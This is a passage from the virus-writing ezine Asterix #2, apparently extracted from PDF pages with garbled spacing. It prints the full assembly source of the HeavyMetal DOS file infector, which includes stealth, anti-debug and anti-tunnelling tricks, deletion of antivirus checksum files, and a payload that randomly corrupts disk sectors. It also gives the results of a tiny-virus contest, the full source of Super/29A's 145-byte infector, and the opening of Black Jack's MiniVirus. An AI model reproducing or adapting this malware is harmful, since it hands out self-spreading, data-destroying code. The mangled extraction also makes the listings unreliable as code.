"LNEJMKPOJQKN"PDDPUMDGDHTTSTG$(17) = "FGQSLUSJEKSAE"PDDPUMDGDHTTSTG$(18) = "LUQSSBMOBPDPEQPTBLA"PDDPUMDGDHTTSTG$(19) = "JRBFDDLKJSL"PDDPUMDGDHTTSTG$(20) = "VFBJPMMFHHVDV"PDDPUMDGDHTTSTG$(21) = "RBQSGJPLBQIQ"PDDPUMDGDHTTSTG$(22) = "OJUEODSIIGNCH"PDDPUMDGDHTTSTG$(23) = "VVFLNFCKLQGHDTGM"PDDPUMDGDHTTSTG$(24) = "OOVQGUSBFLIEQCG"PDDPUMDGDHTTSTG$(25) = "GGDTNQQUHVFHJFR"PDDPUMDGDHTTSTG$(26) = "NNRFBRGQUGQU"PDDPUMDGDHTTSTG$(27) = "TUVKBMMKQHICJLCHOI"PDDPUMDGDHTTSTG$(28) = "GNQPDBMBJMU"PDDPUMDGDHTTSTG$(29) = "TQUJCUASMNBCNEDQNM"PDDPUMDGDHTTSTG$(30) = "OENCMISQTALHDC"

End Sub=================================================== ===========================

Page 306: EZine - Asterix #2

HeavyMetal is paraguayan old-style resident COM/EXE infector, with playload routinne grabbed from DAV'svirii. It hides its own length in infected files (semistealth), uses some anti-debug tricks as well as int21 entrypoint tracing, and direct SFT manipulation to avoid suspective actions for heuristics (such a opening for write,seeking, etc).

Download source code of Heavy Metal here

Page 307: EZine - Asterix #2

HEAVY.ASM

; ÄÒ Ä ÖÄÄÄ ÚÄÄ· · ÚÄ Ä¿ Ö ÚÄÂÄÄÒÄÄ· ÖÄÄÄ ÚÄÄÒÄÄ¿ ÚÄÄ· Ä· V; º ³ º ³ º º ³ ³ º ³ º º º º ³ º º I; ÇÄÄ´ ÇÄ¿ ÃÄĶ º ³ ÀÄĶ ³ Ð º ÇÄ¿ º ÃÄĶ º R; º ³ º ³ º º ³ Ú º ³ º º º ³ º º U; ÄÐ ÄÁ ÓÄÄÄ ÄÙ Ó ÈÍ; ÀÄĽ Á Ð ÓÄÄÄ Ð Ù Ó ÓÄÄÙ S; A paraguayan-bulgarian crea tion;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ;ÞÞÞÛÛÛÛÛÛÝÝÝÝÝÝ VIRUS BY: Int13h PAYLOAD BY: Dark Avenger ÝÝÝÝÝÛÛÛÛÛÛÛÞÞ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ; FEATURES ³; ³; * COM/EXE infector. ÄÄÄÄÅÄÄÄÄ; * TSR manipulating MCB. Á; * Semi-stealth with AH=11h/12h/4eh/4fh.; * Self Encrypted, LOOP encrypted too.; * Finds the original INT 21h's handler tra cing PSP.; * Anti-Debug, stack test and killing keybo ard IRQ.; * Infection on open, execution, rename, ge t/change; attributes and extended open.; * The victim is opened in read-only mode a nd then; SFT is manipulated to change axs mode, g et/kick; attributes and move file pointer.; * Uses some anti-tunneling techniques, lik e turning off; the Trap Flag and killing INT 01h.; * Infection mark in the seconds field.; * Deleting of some antivirus checksum file s in each; directory where a file is infected.; * INT 24h redirection to stop write protec ts msgs.; * Don't infect WINSLOW's fucking files.; * Avoids infection of the suckers *AV, *AN , etc.; * SLOW DESTRUCTION!!!; * The payload by DAV is commented in cyril ic. Looks great ;-);;; Assembling it:;; TASM heavy.asm /m2; TLINK heavy.obj;;; ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´;; Dark Avenger: thanks for the cool and excelle nt payload, but I still; think HäLLOWääN is better than IRON MAIDEN ;-); Up the pumpkins! Pumpkins...lives somewhere in time.; Also Stratovarius, Blind Guardian, Heaven Gate s and Running Wild rocks!; And I can't forget Gamma Ray, Angra, Bar¢n Rojo & King Diamond.; HEAVY METAL IS THE LAW! (Kai H ansen dixit);; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ; P.S.: this viruz is rather old, mo re than one year.

.model tiny

.codeorg 0

Crypted equ (( offset EndVirus - offset Encrypted_Stuff )/ 2)SkipThese equ ( offset Encrypted_Stuff - offset HeavyMetal )RealSize equ ( offset EndVirus - Offset HeavyMetal )ViralSize equ ( offset Huesped - offset HeavyMetal )ParaVir1 equ (( ViralSize +15)/ 16)+ 1ParaVir2 equ (( ViralSize +15)/ 16)

Page 308: EZine - Asterix #2

HEAVY.ASM

VirusInPara equ ( RealSize +15)/ 16

HeavyMetal :mov bp, sp ; Get delta offsetint 03hmov bp,word ptr SS:[ bp- 06]sub bp, 03

mov ah, 2 ; Shut up TBAVint 16hpush cs ; Make DS equal to CSpop ds

lea si ,[ bp+offset Encrypted_Stuff ]mov cx , Crypted

DECRYPTOR:db 081h , 034h ; XOR WORD PTR [SI],KEYWORD

Keyword dw 0lodsw ; inc si / inc siint 01h ; Clear prefetch queue

Encrypted_Stuff :Loop DECRYPTOR ; LOOP encrypted too

push espop dsin al , 21h ; Turn off Keyboard IRQor al , 02out 21h , alpush si ; Stack testpop sidec spdec sppop disub si , dijz All_is_OK

db 02eh ; CS:int 019h ; Warm Rebootnop ; Gift 4 TBCLEAN

All_is_OK :mov ax , 0cd13h ; Residence testint 21hcmp ax , 'DA'jne Upload_Virusjmp Already_in_Memory

Upload_Virus :push esmov ax , 3521h ; Get INT 21h's handlerint 21hmov cs :[ bp+word ptr Old21h ], bxmov cs :[ bp+word ptr Old21h +2], esmov cs :[ bp+word ptr Real21h ], bxmov cs :[ bp+word ptr Real21h +2], espush ds

lds bx , ds :[ 0006h ] ; Find INT 21h's handler tracing PSPPSP_Tracing : ; With thanks to Satan's Little Helper.

cmp byte ptr ds :[ bx ], 0eah

Page 309: EZine - Asterix #2

HEAVY.ASM

jne Checklds bx , ds :[ bx +1]cmp word ptr ds :[ bx ], 9090hjnz PSP_Tracingsub bx , 032hcmp word ptr ds :[ bx ], 9090hjne Check

Found : mov cs :[ bp+word ptr Real21h ], bxmov cs :[ bp+word ptr Real21h +2], dsjmp short MCBTSR

Check : cmp word ptr ds :[ bx ], 02e1ehjnz MCBTSRadd bx , 025hcmp word ptr ds :[ bx ], 080fahje Found

MCBTSR: pop dsmov ax , dsdec ax ; MCBmov es , axmov ax , es :[ 3]sub ax , ParaVir1xchg bx , axpush dspop esmov ah, 4ahint 21hmov ah, 48hmov bx , ParaVir2int 21h

dec axmov es , axmov word ptr es :[ 1], 8mov word ptr es :[ 8], 'HM' ; Block name: Heavy Metalinc axmov es , axxor di , di

push cspop dslea si ,[ bp+offset HeavyMetal ]mov cx , ViralSizerep movsb ; Virus to ES:0

int 03h

push espop dsmov ax , 2521h ; Hook 21hmov dx , offset Viral21hint 21h

pop es

Already_in_Memory :in al , 21h ; Turn on keyboard IRQand al , not 2out 21h , al

in al , 40h

Page 310: EZine - Asterix #2

HEAVY.ASM

mov ah, alin al , 40htest al , 15jne Nopexor ax , cs :[ bp+cs_ip ]call Payload ; Mad Maniac rulez!

Nope: cmp byte ptr cs :[ bp+IsComOrExe ], 'C'je Run_COM

push espop ds

mov bx , bp ; Return control to .EXE

mov ax , esadd ax , 16dadd cs :[( bx +CS_IP)+ 2], ax

cliadd ax , cs :[( bx +SS_SP)+ 2]mov ss , axmov sp , cs :[ bx +SS_SP]sti

call Clear_Registers

db 0ebh , 0hdb 0eahCS_IP dw offset Huesped , 0hSS_SP dw 0, 0

Run_COM: call SetSegmentslea si ,[ bp+offset Buffer ] ; Return control to .COMmov di , 100hpush dicldmovsbmovsw

Clear_Registers :xor ax , axxor bx , bxxor cx , cxxor dx , dxxor si , sixor di , dixor bp, bpret

Fool_Jump2 :jmp Stealth2

Fool_Jump3 :jmp Analizar

Viral21h proc far ; Our 21h handlerpush ds

Page 311: EZine - Asterix #2

HEAVY.ASM

push sipush axpush bxpushfpop axand ah, 11111110b ; Turn off Trap Flagpush axpopfsub ax , axmov ds , axmov bx , 4lds si ,[ bx ]mov byte ptr [ si ], 0cfh ; IRET in 1h's handlerpop bxpop axpop sipop ds

cmp ax , 0cd13h ; Autocheckje TSRCheckingcmp ah, 11h ; Find first FCBje Stealth1cmp ah, 12h ; Find next FCBje Stealth1cmp ah, 4eh ; Find first DTAje Fool_Jump2cmp ah, 4fh ; Find next DTAje Fool_Jump2cmp ax , 04b00h ; Executionje Fool_Jump3cmp ah, 056h ; Renameje Fool_Jump3cmp ah, 043h ; Get/Change atributesje Fool_Jump3cmp ah, 3dh ; Openje Fool_Jump3cmp ax , 6c00h ; Extended openje Fool_Jump3db 0eahOld21h dw 0, 0

TSRChecking :mov ax , 'DA' ; Already residentiret

Viral21h endp

Stealth1 : ; FCB stealthpushfpush cscall Original_21hor al , aljne ErrorDir

push axpush bxpush es

mov ah, 62hint 21h

Page 312: EZine - Asterix #2

HEAVY.ASM

mov es , bxcmp bx , es :[ 16h ]jne Fuera

mov bx , dxmov al ,[ bx ]push ax

mov ah, 2fhint 21hpop axinc aljne FCBComunadd bx , 7

FCBComun:mov al ,byte ptr es :[ bx +17h ]and al , 00011111bcmp al , 00011110bjne Fuera

mov ax ,word ptr es :[ bx +09h ]cmp ax , 'OC'jne Look4EXE1mov al ,byte ptr es :[ bx +0bh ]cmp al , 'M'je Label1jmp short Fuera

Look4EXE1:cmp ax , 'XE'jne Fueramov al ,byte ptr es :[ bx +0bh ]cmp al , 'E'jne Fuera

Label1 : cmp word ptr es :[ bx +1dh ], RealSizeja Sustraer

cmp word ptr es :[ bx +1fh ], 0je Fuera

Sustraer : sub word ptr es :[ bx +1dh ], RealSizesbb word ptr es :[ bx +1fh ], 0

Fuera : pop espop bxpop ax

ErrorDir :retf 2

Stealth2 : ; DTA stealthpushfpush cscall Original_21hjc Demonios

pushf

Page 313: EZine - Asterix #2

HEAVY.ASM

push axpush dipush espush bx

mov ah, 2fhint 21h

mov ax , es :[ bx +16h ]and al , 00011111bcmp al , 00011110bjne Paso

mov di , bxadd di , 1ehcldmov cx , 9mov al , '.'repne scasbjne Paso

cmp word ptr es :[ di ], 'OC'jne Look4EXE2cmp byte ptr es :[ di +2], 'M'je Label2jmp short Paso

Look4EXE2:cmp word ptr es :[ di ], 'XE'jne Pasocmp byte ptr es :[ di +2], 'E'jne Paso

Label2 : cmp word ptr es :[ bx +1ah ],( RealSize +512d )jb Paso

sub word ptr es :[ bx +1ah ], RealSizesbb word ptr es :[ bx +1ch ], 0000

Paso: pop bxpop espop dipop axpopf

Demonios :retf 2

Handler24h : ; Classic Viral Error Handlermov al , 03iret

Fool_Jump4 :jmp PopearTodo

Just_POP :jmp Just_Poping

Page 314: EZine - Asterix #2

HEAVY.ASM

Analizar : ; Check if we can infect itpush axpush bxpush cxpush dxpush sipush dipush dspush es

cmp ax , 6c00hjne Normal_Opening

cmp dx , 0001jne Just_POP

mov dx , si

Normal_Opening :push dxpush dsmov ax , 3524h ; Get 24h's handlerint 21hmov word ptr cs :[ Old24h ], bxmov word ptr cs :[ Old24h +2], espush cspop ds

mov ax , 2524h ; Redirect itmov dx , offset Handler24hint 21h

pop dspop dxpush dspop escldmov di , dxmov cx , 125mov al , '.'repne scasbjne Fool_Jump4

mov ax ,word ptr es :[ di - 3] ; Look if is a suckeror ax , 02020hcmp ax , 'na' ; scAN, cleAN, tbscAN, tbcleANje Fool_Jump4cmp ax , 'va' ; nAV, tbAVje Fool_Jump4cmp ax , 'to' ; f-prOTje Fool_Jump4cmp ax , 'dr' ; guaRDje Fool_Jump4cmp ax , 'ur' ; findviRUje Fool_Jump4cmp ax , 'pv' ; aVPje Fool_Jump4cmp ax , 'ti' ; toolkITje Fool_Jump4cmp ax , 'ni' ; wINje Fool_Jump4

Page 315: EZine - Asterix #2

HEAVY.ASM

cmp ax , 'ga' ; defrAGje Fool_Jump4

xchg si , dilodswor ax , 2020hcmp ax , 'oc'jne Look4EXE3lodsbor al , 20hcmp al , 'm' ; .COM?je Label3

Fool_Jump5 :jmp PopearTodo

Look4EXE3:cmp ax , 'xe'jne Fool_Jump5lodsbor al , 20hcmp al , 'e' ; .EXE?jne Fool_Jump5

Label3 : mov ax , 3d00hpushfpush cscall Original_21hjc Fool_Jump5xchg bx , axmov word ptr cs :[ Handle ], bx

push cspop ds

mov ax , 4300hmov dx , offset Trash1sub cx , cxpushfpush cscall Original_21h

mov ah, 41h ; Kill AV's checksum filesmov dx , offset Trash1int 21h

mov ah, 41hmov dx , offset Trash2int 21h

mov ah, 41hmov dx , offset Trash3int 21h

mov ah, 41hmov dx , offset Trash4int 21h

mov ax , 5700h ; Unmask secondsint 21hmov word ptr cs :[ Time ], cxmov word ptr cs :[ Date ], dxand cl , 00011111b

Page 316: EZine - Asterix #2

HEAVY.ASM

cmp cl , 00011110bjne Read_itjmp Fool_Jump6

Read_it : call SetSegmentsmov ah, 3fhmov cx , 1ahmov dx , offset EXEHeaderint 21h

mov si , dx

cmp word ptr [ SI ], 'ZM'je InfectEXEcmp word ptr [ SI ], 'MZ'je InfectEXE

InfectCOM :call Pointer_to_EOFor dx , dxjne Fool_Jump6cmp ax , 60000dja Fool_Jump6cmp ax , 029Ah ; Hi kewl spanish virus group! ;Pjbe Fool_Jump6

mov byte ptr [ IsComOrExe ], 'C'mov si , offset EXEHeader ; Copy to buffer the three bytesmov di , offset Buffermovsbmovsw

sub ax , 3mov word ptr [ Main_JMP+1], ax

call Copy_to_Buffer ; Encryption

mov bx ,[ Handle ]

call Manipular_SFT

mov ah, 40hmov cx , RealSizemov dx , offset Microbioint 21h

mov word ptr es :[ di +015h ], 00 ; Reset pointermov word ptr es :[ di +017h ], 00

mov ah, 40hmov cx , 3mov dx , offset Main_JMPint 21h

mov cl ,byte ptr [ Attributes ] ; Return its attributesmov byte ptr es :[ di +4], cl

call SetDateTimeFool_Jump6 :

jmp Cerrar

Page 317: EZine - Asterix #2

HEAVY.ASM

InfectEXE :cmp byte ptr [ si +24], '@' ; WINDOSUX's EXE?je Fool_Jump6

mov byte ptr [ IsComOrExe ], 'E'

call Pointer_to_EOFpush axpush dx

les ax ,dword ptr [ EXEHeader+014h ]mov [ CS_IP], ax ; Infection in the habitual waymov [ CS_IP+2], esles ax ,dword ptr [ EXEHeader+0eh ]mov word ptr [ SS_SP], esmov word ptr [ SS_SP+2], ax

mov ax ,word ptr [ EXEHeader+08h ]mov cl , 4shl ax , clxchg bx , axpop dxpop axpush axpush dxsub ax , bxsbb dx , 0mov cx , 10hdiv cxmov word ptr [ EXEHeader+014h ], dxmov word ptr [ EXEHeader+016h ], axmov word ptr [ EXEHeader+0eh ], axmov word ptr [ EXEHeader+010h ], 0

pop dxpop ax

add ax , RealSizeadc dx , 0mov cl , 9mov bx , axshr ax , clror dx , clor dx , dxstcadc dx , axmov ax , bxand ah, 1mov word ptr [ EXEHeader+4], dxmov word ptr [ EXEHeader+2], ax

mov ax ,word ptr [ EXEHeader+0ah ]add ax , VirusInParajc NoAgregarMemoriamov word ptr [ EXEHeader+0ah ], ax

NoAgregarMemoria :mov word ptr [ EXEHeader+0Ch], 0ffffh

call Copy_to_Buffer

Page 318: EZine - Asterix #2

HEAVY.ASM

mov bx ,[ Handle ]

call Manipular_SFT

mov ah, 40h ; ADD file,virusmov cx , RealSizemov dx , offset Microbioint 21h

mov word ptr es :[ di +015h ], 00mov word ptr es :[ di +017h ], 00

mov ah, 40hmov cx , 01ahmov dx , offset EXEHeaderint 21h

mov cl ,byte ptr [ Attributes ]mov byte ptr es :[ di +4], cl

call SetDateTime

Cerrar : mov ah, 3ehint 21h

PopearTodo :push cspop ds

lds dx ,dword ptr [ Old24h ] ; Restore INT 24h's handlermov ax , 2524hint 21h

Just_Poping :pop espop dspop dipop sipop dxpop cxpop bxpop axjmp Original_21h ; Go on with the real INT

SetDateTime :mov cx ,word ptr cs :[ Time ]and cl , 11100000bor cl , 00011110b ; Mark as infectedmov dx ,word ptr cs :[ Date ]mov ax , 5701hint 21hret

Pointer_to_EOF :mov ax , 04202hxor cx , cx

Page 319: EZine - Asterix #2

HEAVY.ASM

cwdint 21hret

Manipular_SFT : ; We change open mode and attributespush bxmov ax , 1220hint 2fh

mov ax , 1216hxor bh, bhmov bl , es :[ di ]int 2fh

mov cl ,byte ptr es :[ di +4]mov byte ptr [ Attributes ], clmov byte ptr es :[ di +4], 20hmov byte ptr es :[ di +2], 2pop bxret

Copy_to_Buffer :in al , 40hmov ah, alin al , 40hor ax , ax ; No 0 pleaseje Copy_to_Buffermov [ Keyword ], ax

call SetSegmentsmov cx ,( RealSize / 2)xor si , simov di , offset Microbiorep movsw ; Move to buffer

mov cx , Cryptedmov si ,( offset Microbio +SkipThese )mov bx ,[ Keyword ]

ENCRYPTOR:xor word ptr [ si ], bxlodsw ; inc si / inc siLOOP ENCRYPTORret

SetSegments : ; DS:= CS & ES = CSpush cspush cspop dspop esret

db ' Read ORDER.DOC for registration '

; random damage, 27/02/97 by <dav>;

Page 320: EZine - Asterix #2

HEAVY.ASM

; on entry:; bp = code base address; ax = random number (read from port 40h); on exit:; es, bp - preserved; cf = 1 if an error occured; other registers trashed; > 512 bytes of stack used

Payload :push bp essub sp , 512 ; § ¥¬ ¬¿±²® § ¡³´¥°lea bx ,[ bp+int_13 ]xor dx , dxmov ds , dxxor ax , ds :[ 46eh ]xchg si , axmov di , ds :[ 46ch ]mov bp, csxor bp, di ; si:bp = ±«³· ©-® ·¨±«®les cx , ds :[ 7b4h ]mov ax , escmp ax , 0f000hjz short @@5cmp ax , 0c800hjz short @@5les cx , ds :[ 4ch ]

@@5: mov cs :[ bx ], cx ; ¤°¥± - int 13 ¢ rom (¢¥°®¿²-®)mov cs :[ bx +2], axpush sspop esmov ax , ds :[ 43fh ]shr ax , 1jc @@1 ; ¥¤- ¤¨±ª¥² ±¥ ¢º°²¨..inc dxshr ax , 1jc @@1

@@2: mov dl , 80h@@1: push di dx

mov ah, 8int 13hpop ax dijc @@8xchg al , dlor dl , dljns @@3 ; ¨§¡¨° ¬¥ ¤¨±ª¥² ² , ª®¿²® ±¥ ¢º°²¥¸¥and ax , 7fhcall getrand ; ¨- ·¥, ¨§¡¨° ¬¥ ±«³· ¥- -®¬¥° - ¤¨±ªor al , 80hxchg dx , ax

@@4: push dxmov ah, 8int 13hpop axjc @@2mov dl , al

@@3: mov al , cland ax , 63call getrand ; ±«³· ¥- -®¬¥° - ±¥ª²®°inc axxchg ax , cxrol al , 1

Page 321: EZine - Asterix #2

HEAVY.ASM

rol al , 1and al , 3xchg al , ahinc axcall getrand ; ±«³· ¥- -®¬¥° - ¶¨«¨-¤º°·¥xchg al , ahror al , 1ror al , 1or cx , axmov al , dhxor ah, ahinc axcall getrand ; ±«³· ¥- -®¬¥° - £« ¢ ² mov dh, almov bx , spmov ax , 201hint 13h

@@8: jc @@9@@6: mov ax , 1001h

call getrand ; ±«³· ¥- -®¬¥° - ¡¨²dec axjs @@7 ; ¤ -¥ ±¥ § ¶¨ª«¨¬ ª® ¨¬ ± ¬® -³«¨xchg cx , axmov bl , 1rol bl , clxchg ax , cxshr ax , 1shr ax , 1shr ax , 1add ax , spxchg bx , axtest ss :[ bx ], aljz @@6 ; ²®§¨ ¡¨² ¢¥·¥ ¥ ¨§²°¨², ¤ © ¬¨ ¤°³£not aland ss :[ bx ], al ; ¨§²°¨¢ ¬¥ ¡¨² ...xor bp, ss :[ bx +1]xor si , ss :[ bx +3]mov bx , spmov ax , 301hpushfdb 9ah ; ... ¨ £® § ¯¨±¢ ¬¥ - ¤¨±ª

int_13 dw 24940 , 25965jc @@9or dl , dljns @@9 ; ±¢º°¸¢ ¢¥¤- £ ª® ¥ ¯¨± « - ¤¨±ª¥²

@@7: lea ax ,[ di +3]sub ax , ds :[ 46ch ] ; ¨- ·¥ ¯°®¤º«¦ ¢ ¬¥ ±º± ±º¹¨¿ ¤¨±ªja @@4 ; ¤®ª ²® ¨§²¥·¥ ¯®-¥ 1/6 ±¥ª³-¤

@@9: mov bp, splea sp ,[ bp+512 ]pop es bpret

getrand : ; thiz iz da k00l stuph...push dxxchg ax , simov dx , 7

rloop : shl bp, 1rcl ax , 1mov bx , bpxor bl , ahjns rnext

Page 322: EZine - Asterix #2

HEAVY.ASM

inc bprnext : dec dx

jnz rloopxchg si , axmul sixchg ax , dxpop dxret

; --- end of random damage code ---

Original_21h :db 0eah

Real21h dw 0, 0ret

Copyright db '[HEAVY_METAL Virus] by Int13h. Random Damage Code by DARK AVENGER!'IsComOrExe db 'E'Buffer db 090h , 0cdh , 020hMain_JMP db 0e9h , 00h , 00hTrash1 db 'ANTI-VIR.DAT' , 0Trash2 db 'AVP.CRC' , 0Trash3 db 'CHKLIST.MS' , 0Trash4 db 'CHKLIST.CPS' , 0

EndVirus :HELLOWEEN dw 0Handle dw 0Time dw 0Date dw 0Attributes db 0Old24h dd 0Microbio db RealSize dup ( 'H' )EXEHeader db 01ah dup ( 0)

Huesped : mov ax , 4c00hint 21h

end HeavyMetalSUB

Page 323: EZine - Asterix #2

One summer afternoon mgl and flush decided to make a vx writing contest. Since we knew all previouseattempts on this field failed due the lack of submission or too serious rulez we were facing "little" problem. Tomake it as little time consumpting as possible the relust should be short virus able to spread under Dthe OSoperating system. To make virus a little bit harder to code couple of condition should be met:

we banned all overwriting viruses (means non-overvriting only)both COMs and EXEs should be victims infected correctlyno double infection allowedno further conditions :P

On the very beginning was my opinion that everyone who should be succesfull should be able to undercode300 bytes mark. But soon i was pointed to old VLAD #5 issue where i found "Smalest virus ever" by Super.This piece of code with its 168 bytes got us to the question - is possible to beat such a low limit? An if whowill do it?

There were some very "clever" dudez who actually wanna cheat ... Yes, they requested us to wait till all thesubmissions will arrive and the we should pick the shortest one and send to them. They wanted to cut itslenght by one byte and take win in the contest. Email-s of this kind were forwarded to the place they belong -to /dev/nul.

Need to say, we didn't expect too much participants but we were suprised only 2 coderz took part in the Tiny99 Open. Total count of submission was 3.

1 by Super, 2 by Black Jack.

Let's go to the hard core part ....

Ladies and gentlemen, this year the Oscar goes to ... Sorry, i got wrong piece of paper... Name of this year'swinner is:

Super / 29A

second and third palce belongs to

Black Jack

Download source code of Tiny'99 contributions here

Page 324: EZine - Asterix #2

SUPER29A.ASM

;THIS VIRUS WAS WRITTEN FOR THE TINY'99 VIRUS CONTE ST;Made by Super/29A

;This virus is a reduced version of my Small virus that appeared in vlad#5

;At that moment it was 168 bytes long.;Now its 145 bytes!!!

;This virus should work in all versions of msdos, i ncluding dos sessions;inside win3.x/win9x I havent tested in winNT.;It infects COM &amp; EXE files, without reinfectin g them.;It goes memory resident (only one time, of course)

;thanks to DARKMAN for his 1 byte optimization;i dont know what i could do without him :-D

;to compile:;tasm /m29A small.asm;tlink /t small

.286 ;

.model small ;yeah! small! as always :D

.code ;code starts here... no data X-D;-------------------------------------------------- ------------------------

org 100h ;only for COM, the first generationvir_start :

;Before starting a DOS program, the registers shoul d have the following value:;eax=00000000;ebx=00000000;ecx=000000ff;dx=ds=es;esi=eip;edi=esp;ebp=0912 (in pure dos); =091c (in windows dos session)

;if u run it with debug... forget it! X-DD

EXE_entry : ;here starts execution in EXE infected filesmov al , 10h ;due to PSPdb 3ch ;CMP AL,xx

COM_entry :add si ,[ si +1] ;when executing a COM file ESI get value of virus

COM_entrypoint;in EXE files it skips this 3 bytes

add ax , 1234horg $- 2

new_cs : dw 0fff0h ;add relative CS to get the old CS of host (in both COM &amp; EXE files)

add ax , dx ;add PSPpush ax ;push it (for later retf)push 1234horg $- 2

new_ip : dw 00000h ;push IP (for later give control to host with retf)

Page 325: EZine - Asterix #2

SUPER29A.ASM

mov es , bx ;ES=0000mov ax , 220h +( int21 - vir_start ) ;EAX=lineal address of int21

mov di , 84h ;int21 vector in interrupt tabledb 66hxchg ax , es :[ di ] ;set int21 to int21 virus entry (0020:003C)

scaswjz exit_to_host ;test if int21 is the same address as the virus

;warning! dont run other program that hooks;int21 after the virus

mov di , 220h ;start of virus in memorymov cl , vir_size ;virus size=145 bytes = 91h bytesrep movs byte ptr es :[ di ], cs :[ si ] ;copy virus to mem (hole in

;interrupt table)

db 66hstosw ;store old int21 handler

exit_to_host :mov es , dx ;restore ES

retf ;return control to host

infect_exe :shl dx , 0ch ;DX=new CSsub dx ,[ si - 1+8h] ;Adjust for the header size

xchg dx ,[ si - 1+16h ] ;Store new CS and get old onexchg bp,[ si - 1+14h ] ;Store new IP and get old one

add byte [ si - 1+2h], cl ;Calculate part-page at EOF;It does not reinfect because; the carrier flag will be set; and tested in &quot;write_jump&quot;

jmp short write_jump

;here starts virus int21;its address is 0020:003c (equivalent to linear ad dress 0000025c)

int21 :pusha ;Save registerspush dssub ax , 4b00h ;Infect on executejnz exit_int21

infect :xchg si , ax ;SI=0000

;Open file ---&gt;BX=handlemov ax , 3d92h ; bits 0-2=2--&gt; read &amp; write accessint 21h ; bits 4-6=1--&gt; prohibit access by othersxchg bx , ax ; bit 7=1--&gt; private for current process

mov ah, 3fh ;mov cx , 20h ; Read first 20h bytes from the filemov ds , cx ;cwd ; (DS:DX=0020:0000)int 21h ;

Page 326: EZine - Asterix #2

SUPER29A.ASM

xor cx , cxmov ax , 4202h ; Seek to EOFint 21h ; (CX &amp; DX are already zero)

mov cl , vir_size ;virus length

xchg ax , bp ;save in BP the value of AX (low word of file size)

lodsb ;get first byte of file

cmp al , 'M'jz infect_exe ;in case of MZ header jump to infect file

infect_com :cmp al , 0e9h ;the COM file must start by a jumpjnz close

xchg bp,[ si ] ; Store the jump to the virusadd bp, 103h ; Calculate the offset where the program jumpscmp [ si ], bp ; Test if the file is infected

; (if the jump is 100h bytes before the EOF)write_jump :

jb close ; Exit if the file is already infected

mov [ si - 1+20h+( new_ip - vir_start )], bp ; Store the program entry pointmov [ si - 1+20h+( new_cs - vir_start )], dx ;

mov dx , ds ; (0020:0020 is the start of the code)write_again :

mov ah, 40h ; Write virus to the end of the fileint 21h ; (CX is already the length of the virus)

write_hdr :mov ax , 4200h ;cwd ; Seek to the start of filemov cx , dx ;int 21h ;

mov cx , ds ; (DX is already zero)inc sijnp write_again ;go and write the start of modified file

;or should i say infected file ;-D

close :mov ah, 3eh ; Close fileint 21h ;

exit_int21 :pop dspopa ; Restore registers

db 0eah ; Far jump to old interrupt 21

vir_end :vir_size equ offset vir_end - offset vir_startend vir_start;-------------------------------------------------- ------------------------

Page 327: EZine - Asterix #2

MINIV.ASM

; ************************************************* ************************; ******************** ********************; ******************** MiniVirus ********************; ******************** by ********************; ******************** BLACK JACK ********************; ******************** ********************; ************************************************* ************************

comment ~

NAME: MiniVirus ( AVs will call it SillyCER.164 , I guess )AUTHOR: Black Jack / LineZer0 / MetaphaseTYPE: Memory resident prepending infector of DOS EXE and COM files.SIZE : 164 bytes!

COMMENTS: This virus was written for the tiny '99 open, the coding contest ofthe *- zine # 2. Therefore it is stripped down to its bare bones andas optimized as possible. As far as I know this is the smallestparasitic EXE / COM/ TSR virus ever!

DESCRIPTION: When an infected file is run , the virus will install itselfmemory resident in the upper half of the interrupt vector table ,if it wasn 't memory resident before. Then it will hook int 21 hand redirect the original vector to int 3, which will fool somedebuggers and is more optimized. It will then infect EXE and COMfiles on execute. The virus will prepend its body and save theoriginal beginning of the file to the end ( non - destructiveoverwriting ) . EXE files are infected exactly the same way as COMfiles , that means that they are converted to COM formatinternally , and the EXE header will be interptreted manually bythe virus. To reduce code , the virus will only infect EXE fileswithout an relocation table. The virus won 't infect any NewExefiles or files that are too big or too small. It won 't reinfectmemory or files.

DRAWBACKS: - is DOS version dependant ( depends on initial register values )- crashes if there 's an invalid drive in the command line (AX != 0)- can only infect very few EXE files- uses the upper half of the IVT -> instable- insecure residency check , can lead to system crashes

ASSEMBLE WITH:TASM / M minivirTLINK minivirEXE2BIN minivir.exe minivir.com

DISCLAIMER: I do * NOT* support the spreading of virii in the wild. Therefore ,this source was only written for research and education. Pleasedo not spread it. The author and his groups can 't be holdresponsible for what you decide to do with this source.

~; ===== CODE STARTS HERE ========================== ==========================

virus_length = (( offset end_virus ) - ( offset start ))revector = 3

.model tiny

.radix 10

.386

.codeorg 0

Page 328: EZine - Asterix #2

MINIV.ASM

start :; The virus assumes the following register values a t startup:; EAX=0; BX=0; CX=00FFh; DX=DS=PSP segment; SI=IP=100h; DF=0

; the first two instructions are also the virus nam e: MV - MiniVirus

dec bp ; "M" - infection markpush si ; save SI=100h to stackpush es ; save ES to stack

mov es , ax ; ES=segment 0 (IVT)mov di , 200h ; ES:DI=0:200h (upper half of IVT)

scasb ; scan first byte of IVT for AL=0JNE return ; es:[di] != 0 ==> already residentdec di ; set DI back to 200h

; DOS kindly set the following; values for us:; DS:SI=start of virus in mem; CX=00FFh; DF=0

rep movsb ; copy virus to upper half of the IVT

mov ax , offset new_int21h +200h ; EAX=new vector for int21h; (most significant word of EAX is 0)

xchg eax , es :[ 21h* 4] ; set viral int21h routinemov es :[ revector * 4], eax ; save old int21h vector to int3

; (int 3 => optimized and anti-debug)

return :db 0B8h ; mov ax, imm16

offset_org_start dw 0- 100h ; int 20h in PSP to quit 1st gen

